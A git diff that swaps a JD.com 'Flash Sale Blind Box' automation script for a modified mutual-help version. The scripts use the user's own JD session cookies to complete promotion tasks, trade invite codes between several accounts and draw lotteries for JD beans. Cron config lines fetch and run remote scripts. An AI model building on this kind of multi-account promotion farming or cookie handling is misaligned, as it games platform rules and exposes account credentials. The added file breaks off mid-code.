type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js, cronexpr="20 8 * * *", timeout=3600, enable=true - */ -const $ = new Env('闪购盲盒'); -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let appId = '1EFRXxg' , homeDataFunPrefix = 'interact_template', collectScoreFunPrefix = 'harmony', message = '' -let lotteryResultFunPrefix = homeDataFunPrefix, browseTime = 6 -const inviteCodes = [ - '', - '', -]; -const randomCount = $.isNode() ? 20 : 5; -const notify = $.isNode() ? require('./sendNotify') : ''; -let merge = {} -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = `https://api.m.jd.com/client.action`; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); - return; - } - await requireConfig(); - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.beans = 0 - message = '' - await TotalBean(); - await shareCodesFormat(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await interact_template_getHomeData() - await showMsg(); - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) -//获取活动信息 -function interact_template_getHomeData(timeout = 0) { - return new Promise((resolve) => { - setTimeout( ()=>{ - let url = { - url : `${JD_API_HOST}`, - headers : { - 'Origin' : `https://h5.m.jd.com`, - 'Cookie' : cookie, - 'Connection' : `keep-alive`, - 'Accept' : `application/json, text/plain, */*`, - 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`, - 'Host' : `api.m.jd.com`, - 'Accept-Encoding' : `gzip, deflate, br`, - 'Accept-Language' : `zh-cn` - }, - body : `functionId=${homeDataFunPrefix}_getHomeData&body={"appId":"${appId}","taskToken":""}&client=wh5&clientVersion=1.0.0` - } - $.post(url, async (err, resp, data) => { - try { - data = JSON.parse(data); - if (data.data.bizCode !== 0) { - console.log(data.data.bizMsg); - return - } - scorePerLottery = data.data.result.userInfo.scorePerLottery||data.data.result.userInfo.lotteryMinusScore - if (data.data.result.raiseInfo&&data.data.result.raiseInfo.levelList) scorePerLottery = data.data.result.raiseInfo.levelList[data.data.result.raiseInfo.scoreLevel]; - //console.log(scorePerLottery) - for (let i = 0;i < data.data.result.taskVos.length;i ++) { - console.log("\n" + data.data.result.taskVos[i].taskType + '-' + data.data.result.taskVos[i].taskName + '-' + (data.data.result.taskVos[i].status === 1 ? `已完成${data.data.result.taskVos[i].times}-未完成${data.data.result.taskVos[i].maxTimes}` : "全部已完成")) - //签到 - if (data.data.result.taskVos[i].taskName === '邀请好友助力') { - console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.result.taskVos[i].assistTaskDetailVo.taskToken}\n`); - for (let code of $.newShareCodes) { - if (!code) continue - await harmony_collectScore(code, data.data.result.taskVos[i].taskId); - await $.wait(2000) - } - } - else if (data.data.result.taskVos[i].status === 3) { - console.log('开始抽奖') - await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); - } - else if ([0,13].includes(data.data.result.taskVos[i].taskType)) { - if (data.data.result.taskVos[i].status === 1) { - await harmony_collectScore(data.data.result.taskVos[i].simpleRecordInfoVo.taskToken,data.data.result.taskVos[i].taskId); - } - } - else if ([14,6].includes(data.data.result.taskVos[i].taskType)) { - //console.log(data.data.result.taskVos[i].assistTaskDetailVo.taskToken) - for (let j = 0;j <(data.data.result.userInfo.lotteryNum||0);j++) { - if (appId === "1EFRTxQ") { - await ts_smashGoldenEggs() - } else { - await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); - } - } - } - let list = data.data.result.taskVos[i].productInfoVos || data.data.result.taskVos[i].followShopVo || data.data.result.taskVos[i].shoppingActivityVos || data.data.result.taskVos[i].browseShopVo - for (let k = data.data.result.taskVos[i].times; k < data.data.result.taskVos[i].maxTimes; k++) { - for (let j in list) { - if (list[j].status === 1) { - //console.log(list[j].simpleRecordInfoVo||list[j].assistTaskDetailVo) - console.log("\n" + (list[j].title || list[j].shopName||list[j].skuName)) - //console.log(list[j].itemId) - if (list[j].itemId) { - await harmony_collectScore(list[j].taskToken,data.data.result.taskVos[i].taskId,list[j].itemId,1); - if (k === data.data.result.taskVos[i].maxTimes - 1) await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); - } else { - await harmony_collectScore(list[j].taskToken,data.data.result.taskVos[i].taskId) - } - list[j].status = 2; - break; - } - } - } - } - if (scorePerLottery) await interact_template_getLotteryResult(); - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - },timeout) - }) -} -//做任务 -function harmony_collectScore(taskToken,taskId,itemId = "",actionType = 0,timeout = 0) { - return new Promise((resolve) => { - setTimeout( ()=>{ - let url = { - url : `${JD_API_HOST}`, - headers : { - 'Origin' : `https://h5.m.jd.com`, - 'Cookie' : cookie, - 'Connection' : `keep-alive`, - 'Accept' : `application/json, text/plain, */*`, - 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`,//?inviteId=P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ?inviteId=${shareCode} - 'Host' : `api.m.jd.com`, - 'Accept-Encoding' : `gzip, deflate, br`, - 'Accept-Language' : `zh-cn` - }, - body : `functionId=${collectScoreFunPrefix}_collectScore&body={"appId":"${appId}","taskToken":"${taskToken}","taskId":${taskId}${itemId ? ',"itemId":"'+itemId+'"' : ''},"actionType":${actionType}&client=wh5&clientVersion=1.0.0` - } - //console.log(url.body) - //if (appId === "1EFRTxQ") url.body += "&appid=golden-egg" - $.post(url, async (err, resp, data) => { - try { - data = JSON.parse(data); - if (data.data.bizMsg === "任务领取成功") { - await harmony_collectScore(taskToken,taskId,itemId,0,parseInt(browseTime) * 1000); - } else{ - console.log(data.data.bizMsg) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - },timeout) - }) -} -//抽奖 -function interact_template_getLotteryResult(taskId,timeout = 0) { - return new Promise((resolve) => { - setTimeout( ()=>{ - let url = { - url : `${JD_API_HOST}`, - headers : { - 'Origin' : `https://h5.m.jd.com`, - 'Cookie' : cookie, - 'Connection' : `keep-alive`, - 'Accept' : `application/json, text/plain, */*`, - 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html?inviteId=P04z54XCjVXmYaW5m9cZ2f433tIlGBj3JnLHD0`,//?inviteId=P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ - 'Host' : `api.m.jd.com`, - 'Accept-Encoding' : `gzip, deflate, br`, - 'Accept-Language' : `zh-cn` - }, - body : `functionId=${lotteryResultFunPrefix}_getLotteryResult&body={"appId":"${appId}"${taskId ? ',"taskId":"'+taskId+'"' : ''}}&client=wh5&clientVersion=1.0.0` - } - //console.log(url.body) - //if (appId === "1EFRTxQ") url.body = `functionId=ts_getLottery&body={"appId":"${appId}"${taskId ? ',"taskId":"'+taskId+'"' : ''}}&client=wh5&clientVersion=1.0.0&appid=golden-egg` - $.post(url, async (err, resp, data) => { - try { - if (!timeout) console.log('\n开始抽奖') - data = JSON.parse(data); - if (data.data.bizCode === 0) { - if (data.data.result.userAwardsCacheDto.jBeanAwardVo) { - console.log('京豆:' + data.data.result.userAwardsCacheDto.jBeanAwardVo.quantity) - $.beans += parseInt(data.data.result.userAwardsCacheDto.jBeanAwardVo.quantity) - } - if (data.data.result.raiseInfo) scorePerLottery = parseInt(data.data.result.raiseInfo.nextLevelScore); - if (parseInt(data.data.result.userScore) >= scorePerLottery && scorePerLottery) { - await interact_template_getLotteryResult(1000) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - },timeout) - }) -} - - -//通知 -function showMsg() { - message += `任务已完成,本次运行获得京豆${$.beans}` - return new Promise(resolve => { - if ($.beans) $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - $.log(`【京东账号${$.index}】${$.nickName}\n${message}`); - resolve() - }) -} - -function requireConfig() { - return new Promise(async resolve => { - console.log(`开始获取${$.name}配置文件\n`); - //Node.js用户请在jdCookie.js处填写京东ck; - let shareCodes = [] - console.log(`共${cookiesArr.length}个京东账号\n`); - if ($.isNode() && process.env.JDSGMH_SHARECODES) { - if (process.env.JDSGMH_SHARECODES.indexOf('\n') > -1) { - shareCodes = process.env.JDSGMH_SHARECODES.split('\n'); - } else { - shareCodes = process.env.JDSGMH_SHARECODES.split('&'); - } - } - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); - resolve() - }) -} - -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - $.newShareCodes = inviteCodes[tempIndex].split('@'); - } - const readShareCodeRes = await readShareCode(); - // console.log(readShareCodeRes) - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - } - console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} - -function readShareCode() { - console.log(`开始`) - return new Promise(async resolve => { - $.get({url: ``, timeout: 10000}, (err, resp, data) => { - try { - if (err) { - console.log(JSON.stringify(err)) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(2000); - resolve() - }) -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_sgmh_Mod.js b/jd_sgmh_Mod.js new file mode 100644 index 000000000..350869f1d --- /dev/null +++ b/jd_sgmh_Mod.js @@ -0,0 +1,773 @@ +/* +闪购盲盒 +长期活动,一人每天5次助力机会,10次被助机会,被助力一次获得一次抽奖机会,前几次必中京豆 +修改自 @yangtingxiao 抽奖机脚本 +活动入口:京东APP首页-闪购-闪购盲盒 +网页地址:https://h5.m.jd.com/babelDiy/Zeus/3vzA7uGuWL2QeJ5UeecbbAVKXftQ/index.html +更新地址:https://gitee.com/lxk0301/jd_scripts/raw/master/jd_sgmh.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#闪购盲盒 +20 8 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_sgmh.js, tag=闪购盲盒, img-url=https://raw.githubusercontent.com/Orz-3/task/master/jd.png, enabled=true + +================Loon============== +[Script] +cron "20 8 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_sgmh.js, tag=闪购盲盒 + +===============Surge================= +闪购盲盒 = type=cron,cronexp="20 8 * * *",wake-system=1,timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_sgmh.js + +============小火箭========= +闪购盲盒 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_sgmh.js, cronexpr="20 8 * * *", timeout=3600, enable=true + + */ +const $ = new Env('闪购盲盒互助版'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let appId = '1EFRXxg', homeDataFunPrefix = 'interact_template', collectScoreFunPrefix = 'harmony', message = ''; +let lotteryResultFunPrefix = homeDataFunPrefix, browseTime = 6; +const notify = $.isNode() ? require('./sendNotify') : ''; +let myInviteCode; +let shareCodes = []; +let llcanhelp = true; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') + console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +!(async() => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + + $.newShareCodes = []; + console.log(`开始获取助力码....\n`); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0; + await GetSharedCode(); + } + } + console.log(`开始执行任务....\n`); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await interact_template_getHomeData() + } + } +})() +.catch((e) => $.logErr(e)) +.finally(() => $.done()) +//获取活动信息 +function GetSharedCode(timeout = 0) { + return new Promise((resolve) => { + setTimeout(() => { + let url = { + url: `${JD_API_HOST}`, + headers: { + 'Origin': `https://h5.m.jd.com`, + 'Cookie': cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json, text/plain, */*`, + 'Referer': `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`, + 'Host': `api.m.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-cn` + }, + body: `functionId=${homeDataFunPrefix}_getHomeData&body={"appId":"${appId}","taskToken":""}&client=wh5&clientVersion=1.0.0` + } + + $.post(url, async(err, resp, data) => { + try { + data = JSON.parse(data); + if (data.data.bizCode !== 0) { + console.log(data.data.bizMsg); + return + } + scorePerLottery = data.data.result.userInfo.scorePerLottery || data.data.result.userInfo.lotteryMinusScore; + if (data.data.result.raiseInfo && data.data.result.raiseInfo.levelList) + scorePerLottery = data.data.result.raiseInfo.levelList[data.data.result.raiseInfo.scoreLevel]; + for (let i = 0; i < data.data.result.taskVos.length; i++) { + if (data.data.result.taskVos[i].taskName === '邀请好友助力') { + console.log(`【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.result.taskVos[i].assistTaskDetailVo.taskToken}\n`); + myInviteCode = data.data.result.taskVos[i].assistTaskDetailVo.taskToken; + $.newShareCodes.push(myInviteCode); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve() + } + }) + }, timeout) + }) +} + +function interact_template_getHomeData(timeout = 0) { + return new Promise((resolve) => { + setTimeout(() => { + let url = { + url: `${JD_API_HOST}`, + headers: { + 'Origin': `https://h5.m.jd.com`, + 'Cookie': cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json, text/plain, */*`, + 'Referer': `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`, + 'Host': `api.m.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-cn` + }, + body: `functionId=${homeDataFunPrefix}_getHomeData&body={"appId":"${appId}","taskToken":""}&client=wh5&clientVersion=1.0.0` + } + + $.post(url, async(err, resp, data) => { + try { + data = JSON.parse(data); + if (data.data.bizCode !== 0) { + console.log(data.data.bizMsg); + return + } + scorePerLottery = data.data.result.userInfo.scorePerLottery || data.data.result.userInfo.lotteryMinusScore; + if (data.data.result.raiseInfo && data.data.result.raiseInfo.levelList) + scorePerLottery = data.data.result.raiseInfo.levelList[data.data.result.raiseInfo.scoreLevel]; + + for (let i = 0; i < data.data.result.taskVos.length; i++) { + console.log("\n" + data.data.result.taskVos[i].taskType + '-' + data.data.result.taskVos[i].taskName + '-' + (data.data.result.taskVos[i].status === 1 ? `已完成${data.data.result.taskVos[i].times}-未完成${data.data.result.taskVos[i].maxTimes}` : "全部已完成")) + //签到 + if (data.data.result.taskVos[i].taskName === '邀请好友助力') { + myInviteCode = data.data.result.taskVos[i].assistTaskDetailVo.taskToken; + console.log('开始邀请好友助力....'); + llcanhelp = true; + for (let code of $.newShareCodes) { + if (!code) + continue; + await harmony_collectScore(code, data.data.result.taskVos[i].taskId); + await $.wait(2000); + if(!llcanhelp) + break; + } + } else if (data.data.result.taskVos[i].status === 3) { + console.log('开始抽奖'); + await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); + } else if ([0, 13].includes(data.data.result.taskVos[i].taskType)) { + if (data.data.result.taskVos[i].status === 1) { + await harmony_collectScore(data.data.result.taskVos[i].simpleRecordInfoVo.taskToken, data.data.result.taskVos[i].taskId); + } + } else if ([14, 6].includes(data.data.result.taskVos[i].taskType)) { + for (let j = 0; j < (data.data.result.userInfo.lotteryNum || 0); j++) { + if (appId === "1EFRTxQ") { + await ts_smashGoldenEggs(); + } else { + await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); + } + } + } + let list = data.data.result.taskVos[i].productInfoVos || data.data.result.taskVos[i].followShopVo || data.data.result.taskVos[i].shoppingActivityVos || data.data.result.taskVos[i].browseShopVo + for (let k = 